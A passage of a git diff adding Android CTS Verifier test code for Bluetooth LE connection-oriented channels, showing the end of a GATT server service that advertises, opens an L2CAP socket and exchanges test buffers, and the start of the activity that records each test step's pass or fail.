+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_SERVER_ACTION_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_DISCONNECT";
+
+    public static final String BLE_SERVER_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_SERVER_DISCONNECTED";
+    public static final String BLE_OPEN_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_OPEN_FAIL";
+    public static final String BLE_ADVERTISE_UNSUPPORTED =
+            "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
+    public static final String BLE_ADD_SERVICE_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_UUID =
+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_RESULT_UUID =
+            UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID =
+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_UUID =
+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
+    public static final UUID ADV_COC_SERVICE_UUID=
+            UUID.fromString("00003334-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID SERVICE_UUID_ADDITIONAL =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_INCLUDED =
+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+
+    // Variable for registration permission of Descriptor
+    private static final UUID DESCRIPTOR_NO_READ_UUID =
+            UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+            UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+    private static final int CONN_INTERVAL = 150;   // connection interval 150ms
+
+    private static final int EXECUTION_DELAY = 1500;
+
+    // Delay of notification when secure test failed to start.
+    private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
+
+    public static final String WRITE_VALUE = "SERVER_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private static final String INDICATE_VALUE = "INDICATE_TEST";
+    public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
+    public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
+    public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
+    public static final String DESCRIPTOR_WRITE_NO_PERMISSION = "WRITE_NO_DESC";
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothGattServer mGattServer;
+    private BluetoothGattService mService;
+    private BluetoothDevice mDevice;
+    private Handler mHandler;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private boolean mSecure;
+    private int mMtuSize = -1;
+
+    private BluetoothServerSocket mServerSocket;
+    private int mPsm = -1;
+    private BluetoothGattCharacteristic mLePsmCharacteristic;
+    BluetoothChatService mChatService;
+
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    // current test category
+    private String mCurrentAction;
+
+    // Task to notify failure of starting secure test.
+    //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
+    //   createBond() causes onConnectionStateChange() twice, and it works as strange sequence.
+    //   At the first onConnectionStateChange(), target device is not paired (bond state is
+    //   BluetoothDevice.BOND_NONE).
+    //   At the second onConnectionStateChange(), target devices is paired (bond state is
+    //   BluetoothDevice.BOND_BONDED).
+    //   CTS Verifier will perform lazy check of bond state. Verifier checks bond state
+    //   after NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE from the first onConnectionStateChange().
+    private Runnable mNotificationTaskOfSecureTestStartFailure;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
+        mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+
+        mService = createService();
+
+        mDevice = null;
+
+        mHandler = new Handler();
+        if (!mBluetoothManager.getAdapter().isEnabled()) {
+            notifyBluetoothDisabled();
+        } else if (mGattServer == null) {
+            notifyOpenFail();
+        } else if (mAdvertiser == null) {
+            notifyAdvertiseUnsupported();
+        } else {
+            // start adding services
+            mSecure = false;
+            if (!mGattServer.addService(mService)) {
+                notifyAddServiceFail();
+            }
+        }
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String action = intent.getAction();
+        if (action != null) {
+            if (DEBUG) {
+                Log.d(TAG, "onStartCommand: action=" + action);
+            }
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void startServerTest(boolean secure) {
+        mSecure = secure;
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mChatService == null)) {
+            createChatService();
+        }
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mAdvertiser != null)) {
+            startAdvertise();
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1,2,3,4,5,6,7,8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_ACTION_COC_SERVER_INSECURE:
+                    startServerTest(false);
+                    break;
+                case BLE_ACTION_COC_SERVER_SECURE:
+                    startServerTest(true);
+                    break;
+                case BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_SERVER_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_COC_SERVER_ACTION_DISCONNECT:
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        cancelNotificationTaskOfSecureTestStartFailure();
+        stopAdvertise();
+
+        mTaskQueue.quit();
+
+        if (mGattServer == null) {
+           return;
+        }
+        if (mDevice != null) {
+            mGattServer.cancelConnection(mDevice);
+        }
+        mGattServer.clearServices();
+        mGattServer.close();
+    }
+
+    private void notifyOpenFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyOpenFail");
+        }
+        Intent intent = new Intent(BLE_OPEN_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAddServiceFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAddServiceFail");
+        }
+        Intent intent = new Intent(BLE_ADD_SERVICE_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAdvertiseUnsupported() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAdvertiseUnsupported");
+        }
+        Intent intent = new Intent(BLE_ADVERTISE_UNSUPPORTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyConnected");
+        }
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDisconnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDisconnected");
+        }
+        Intent intent = new Intent(BLE_SERVER_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private BluetoothGattService createService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+        BluetoothGattCharacteristic characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+        characteristic.setValue(WRITE_VALUE.getBytes());
+
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(WRITE_VALUE.getBytes());
+        characteristic.addDescriptor(descriptor);
+
+        BluetoothGattDescriptor descriptor_permission =
+            new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        characteristic.addDescriptor(descriptor_permission);
+
+        descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
+        characteristic.addDescriptor(descriptor_permission);
+
+        service.addCharacteristic(characteristic);
+
+        // Registered the characteristic of PSM Value
+        mLePsmCharacteristic =
+                new BluetoothGattCharacteristic(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID,
+                                                BluetoothGattCharacteristic.PROPERTY_READ,
+                                                BluetoothGattCharacteristic.PERMISSION_READ);
+        service.addCharacteristic(mLePsmCharacteristic);
+
+        return service;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocServerService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private synchronized void cancelNotificationTaskOfSecureTestStartFailure() {
+        if (mNotificationTaskOfSecureTestStartFailure != null) {
+            mHandler.removeCallbacks(mNotificationTaskOfSecureTestStartFailure);
+            mNotificationTaskOfSecureTestStartFailure = null;
+        }
+    }
+
+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            }
+
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mDevice = device;
+                    boolean bonded = false;
+                    Set<BluetoothDevice> pairedDevices =
+                        mBluetoothManager.getAdapter().getBondedDevices();
+                    if (pairedDevices.size() > 0) {
+                        for (BluetoothDevice target : pairedDevices) {
+                            if (target.getAddress().equals(device.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) ||
+                                    !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                                            || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                    } else {
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    }
+                    notifyConnected();
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    notifyDisconnected();
+                    mDevice = null;
+                }
+            }
+        }
+
+        @Override
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicReadRequest()");
+            }
+
+            boolean finished = false;
+            byte[] value = null;
+            if (mMtuSize > 0) {
+                byte[] buf = characteristic.getValue();
+                if (buf != null) {
+                    int len = Math.min((buf.length - offset), mMtuSize);
+                    if (len > 0) {
+                        value = Arrays.copyOfRange(buf, offset, (offset + len));
+                    }
+                    finished = ((offset + len) >= buf.length);
+                    if (finished) {
+                        Log.d(TAG, "sent whole data: " + (new String(characteristic.getValue())));
+                    }
+                }
+            } else {
+                value = characteristic.getValue();
+                finished = true;
+            }
+
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+
+            UUID uid = characteristic.getUuid();
+            if (uid.equals(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID)) {
+                Log.d(TAG, "onCharacteristicReadRequest: reading PSM");
+            }
+        }
+
+    };
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE CoC Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void processChatStateChange(int newState) {
+        Intent intent;
+        if (DEBUG) {
+            Log.d(TAG, "processChatStateChange: newState=" + newState);
+        }
+        switch (newState) {
+        case BluetoothChatService.STATE_LISTEN:
+            intent = new Intent(BLE_COC_LISTENER_CREATED);
+            sendBroadcast(intent);
+            break;
+        case BluetoothChatService.STATE_CONNECTED:
+            intent = new Intent(BLE_COC_CONNECTED);
+            sendBroadcast(intent);
+
+            // Check the connection type
+            leCheckConnectionType();
+
+            // Prepare the next data read
+            readData8bytes();
+            break;
+        }
+    }
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+        showMessage("LE CoC Server wrote " + len + " bytes" + ", mNextWriteExpectedLen="
+                    + mNextWriteExpectedLen);
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+        mNextWriteCompletionIntent = null;
+        mNextWriteExpectedLen = -1;
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            switch (msg.what) {
+                case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                    processChatStateChange(msg.arg1);
+                    break;
+                case BluetoothChatService.MESSAGE_READ:
+                    handleMessageRead(msg);
+                    break;
+                case BluetoothChatService.MESSAGE_WRITE:
+                    handleMessageWrite(msg);
+                    break;
+            }
+        }
+    }
+
+    /* Start the Chat Service to create the Bluetooth Server Socket for LE CoC */
+    private void createChatService() {
+
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.start(mSecure);
+        mPsm = mChatService.getPsm(mSecure);
+        if (DEBUG) {
+            Log.d(TAG, "createChatService: assigned PSM=" + mPsm);
+        }
+        if (mPsm > 0x00ff) {
+            Log.e(TAG, "createChatService: Invalid PSM=" + mPsm);
+        }
+        // Notify that the PSM is read
+        Intent intent = new Intent(BLE_PSM_READ);
+        sendBroadcast(intent);
+
+        // Set the PSM value in the PSM characteristics in the GATT Server.
+        mLePsmCharacteristic.setValue(mPsm, BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+    }
+
+    private void startAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "startAdvertise");
+        }
+        AdvertiseData data = new AdvertiseData.Builder()
+            .addServiceData(new ParcelUuid(ADV_COC_SERVICE_UUID), new byte[]{1,2,3})
+            .addServiceUuid(new ParcelUuid(ADV_COC_SERVICE_UUID))
+            .build();
+        AdvertiseSettings setting = new AdvertiseSettings.Builder()
+            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+            .setConnectable(true)
+            .build();
+        mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
+    }
+
+    private void stopAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "stopAdvertise");
+        }
+        if (mAdvertiser != null) {
+            mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        }
+    }
+
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+        @Override
+        public void onStartFailure(int errorCode) {
+            // Implementation for API Test.
+            super.onStartFailure(errorCode);
+            if (DEBUG) {
+                Log.d(TAG, "onStartFailure");
+            }
+
+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+                notifyAdvertiseUnsupported();
+            } else {
+                notifyOpenFail();
+            }
+        }
+
+        @Override
+        public void onStartSuccess(AdvertiseSettings settingsInEffect) {
+            // Implementation for API Test.
+            super.onStartSuccess(settingsInEffect);
+            if (DEBUG) {
+                Log.d(TAG, "onStartSuccess");
+            }
+        }
+    };
+
+    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+        String indent = "";
+        for (int i = 0; i < level; ++i) {
+            indent += "  ";
+        }
+
+        Log.d(TAG, indent + "[service]");
+        Log.d(TAG, indent + "UUID: " + service.getUuid());
+        Log.d(TAG, indent + "  [characteristics]");
+        for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
+            Log.d(TAG, indent + "    UUID: " + ch.getUuid());
+            Log.d(TAG, indent + "      properties: "
+                  + String.format("0x%02X", ch.getProperties()));
+            Log.d(TAG, indent + "      permissions: "
+                  + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG, indent + "      [descriptors]");
+            for (BluetoothGattDescriptor d : ch.getDescriptors()) {
+                Log.d(TAG, indent + "        UUID: " + d.getUuid());
+                Log.d(TAG, indent + "          permissions: "
+                      + String.format("0x%02X", d.getPermissions()));
+            }
+        }
+
+        if (service.getIncludedServices() != null) {
+            Log.d(TAG, indent + "  [included services]");
+            for (BluetoothGattService s : service.getIncludedServices()) {
+                dumpService(s, level + 1);
+            }
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
new file mode 100644
index 0000000..17d1370
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.ListView;
+import android.widget.Toast;
+
+public class BleCocServerTestBaseActivity extends PassFailButtons.Activity {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerTestBaseActivity";
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_LISTENER_CREATED = 1;
+    private final int TEST_BLE_PSM_READ = 2;
+    private final int TEST_BLE_COC_CONNECTED = 3;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 6;
+    private final int TEST_BLE_DATA_EXCHANGED = 7;
+    private final int TEST_BLE_SERVER_DISCONNECTED = 8;
+    private static final int PASS_FLAG_ALL = 0x01FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_server_start_name,
+                         R.string.ble_server_start_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocServerService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_COC_LISTENER_CREATED);
+        filter.addAction(BleCocServerService.BLE_PSM_READ);
+        filter.addAction(BleCocServerService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocServerService.BLE_DATA_LARGEBUF_READ);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocServerService.BLE_SERVER_DISCONNECTED);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocServerService.BLE_OPEN_FAIL);
+        filter.addAction(BleCocServerService.BLE_ADVERTISE_UNSUPPORTED);
+        filter.addAction(BleCocServerService.BLE_ADD_SERVICE_FAIL);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_server_le_connect);
+        testList.add(R.string.ble_coc_server_create_listener);
+        testList.add(R.string.ble_coc_server_psm_read);
+        testList.add(R.string.ble_coc_server_connection);
+        testList.add(R.string.ble_coc_server_check_connection_type);
+        testList.add(R.string.ble_coc_server_receive_data_8bytes);
+        testList.add(R.string.ble_coc_server_send_data_8bytes);
+        testList.add(R.string.ble_coc_server_data_exchange);
+        testList.add(R.string.ble_server_receiving_disconnect);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (DEBUG) {
+                Log.d(TAG, "BroadcastReceiver.onReceive: action=" + action);
+            }
+            String newAction = null;
+            final Intent startIntent = new Intent(BleCocServerTestBaseActivity.this, BleCocServerService.class);
+
+            switch (action) {
+            case BleCocServerService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+            case BleCocServerService.BLE_LE_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                break;
+            case BleCocServerService.BLE_COC_LISTENER_CREATED:
+                mTestAdapter.setTestPass(TEST_BLE_LISTENER_CREATED);
+                mPassed |= (1 << TEST_BLE_LISTENER_CREATED);
+                break;
+            case BleCocServerService.BLE_PSM_READ:
+                mTestAdapter.setTestPass(TEST_BLE_PSM_READ);
+                mPassed |= (1 << TEST_BLE_PSM_READ);
+                break;
+            case BleCocServerService.BLE_COC_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                break;
+            case BleCocServerService.BLE_CONNECTION_TYPE_CHECKED:
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES;
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_SENT:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_EXCHANGE_DATA;
+                break;
+            case BleCocServerService.BLE_DATA_LARGEBUF_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_DISCONNECT;
+                break;
+            case BleCocServerService.BLE_SERVER_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_SERVER_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_SERVER_DISCONNECTED);
+                // all tests done
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+            case BleCocServerService.BLE_ADVERTISE_UNSUPPORTED:
+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+                break;
+            case BleCocServerService.BLE_OPEN_FAIL:
+                setTestResultAndFinish(false);
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
